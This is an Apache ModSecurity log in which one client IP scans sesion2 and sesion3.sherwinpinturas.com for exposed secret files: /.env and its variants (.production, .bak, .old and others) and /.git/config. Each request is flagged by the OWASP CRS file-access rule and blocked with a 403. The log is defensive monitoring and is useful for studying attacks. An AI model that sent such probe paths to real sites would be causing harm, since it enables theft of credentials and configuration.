[Sat Oct 24 22:07:26.516350 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at1kXlQTwXU83R4GW_mbhwAAACg"]
[Sat Oct 24 22:07:26.516607 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at1kXlQTwXU83R4GW_mbhwAAACg"]
[Sat Oct 24 22:07:26.516998 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at1kXlQTwXU83R4GW_mbhwAAACg"]
[Sat Oct 24 22:07:26.651633 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at1kXlQTwXU83R4GW_mbiAAAACg"]
[Sat Oct 24 22:07:26.651887 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at1kXlQTwXU83R4GW_mbiAAAACg"]
[Sat Oct 24 22:07:26.652158 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at1kXlQTwXU83R4GW_mbiAAAACg"]
[Sat Oct 24 22:07:26.786427 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at1kXlQTwXU83R4GW_mbiQAAACg"]
[Sat Oct 24 22:07:26.786695 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at1kXlQTwXU83R4GW_mbiQAAACg"]
[Sat Oct 24 22:07:26.787066 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at1kXlQTwXU83R4GW_mbiQAAACg"]
[Sat Oct 24 22:07:26.971352 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at1kXlQTwXU83R4GW_mbigAAACg"]
[Sat Oct 24 22:07:26.971607 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at1kXlQTwXU83R4GW_mbigAAACg"]
[Sat Oct 24 22:07:26.971972 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at1kXlQTwXU83R4GW_mbigAAACg"]
[Sat Oct 24 22:07:27.026653 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sesion3.sherwinpinturas.com"] [uri "/index.html"] [unique_id "at1kXkCehrQoNuVtn8-PbwAAAAM"]
[Sat Oct 24 22:07:27.026695 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sesion3.sherwinpinturas.com"] [uri "/index.html"] [unique_id "at1kXkCehrQoNuVtn8-PbwAAAAM"]
[Sat Oct 24 22:07:27.095621 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at1kX1QTwXU83R4GW_mbiwAAACg"]
[Sat Oct 24 22:07:27.095853 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at1kX1QTwXU83R4GW_mbiwAAACg"]
[Sat Oct 24 22:07:27.096140 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at1kX1QTwXU83R4GW_mbiwAAACg"]
[Sat Oct 24 22:07:27.326837 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at1kX1QTwXU83R4GW_mbjAAAACg"]
[Sat Oct 24 22:07:27.327049 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at1kX1QTwXU83R4GW_mbjAAAACg"]
[Sat Oct 24 22:07:27.327392 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at1kX1QTwXU83R4GW_mbjAAAACg"]
[Sat Oct 24 22:07:27.440836 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at1kX1QTwXU83R4GW_mbjQAAACg"]
[Sat Oct 24 22:07:27.441026 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at1kX1QTwXU83R4GW_mbjQAAACg"]
[Sat Oct 24 22:07:27.441356 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at1kX1QTwXU83R4GW_mbjQAAACg"]
[Sat Oct 24 22:07:27.556138 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at1kX1QTwXU83R4GW_mbjgAAACg"]
[Sat Oct 24 22:07:27.556423 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at1kX1QTwXU83R4GW_mbjgAAACg"]
[Sat Oct 24 22:07:27.556791 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at1kX1QTwXU83R4GW_mbjgAAACg"]
[Sat Oct 24 22:07:27.663040 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at1kX1QTwXU83R4GW_mbjwAAACg"]
[Sat Oct 24 22:07:27.663248 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at1kX1QTwXU83R4GW_mbjwAAACg"]
[Sat Oct 24 22:07:27.663599 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at1kX1QTwXU83R4GW_mbjwAAACg"]
[Sat Oct 24 22:07:27.790114 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1kX0CehrQoNuVtn8-PcwAAAAM"]
[Sat Oct 24 22:07:27.790380 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1kX0CehrQoNuVtn8-PcwAAAAM"]
[Sat Oct 24 22:07:27.790727 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1kX0CehrQoNuVtn8-PcwAAAAM"]
[Sat Oct 24 22:07:27.807506 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at1kX1QTwXU83R4GW_mbkAAAACg"]
[Sat Oct 24 22:07:27.807676 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at1kX1QTwXU83R4GW_mbkAAAACg"]
[Sat Oct 24 22:07:27.807921 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at1kX1QTwXU83R4GW_mbkAAAACg"]
[Sat Oct 24 22:07:27.976666 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at1kX1QTwXU83R4GW_mbkQAAACg"]
[Sat Oct 24 22:07:27.976944 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at1kX1QTwXU83R4GW_mbkQAAACg"]
[Sat Oct 24 22:07:27.977270 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at1kX1QTwXU83R4GW_mbkQAAACg"]
[Sat Oct 24 22:07:28.016683 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1kYECehrQoNuVtn8-PdQAAAAM"]
[Sat Oct 24 22:07:28.016911 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1kYECehrQoNuVtn8-PdQAAAAM"]
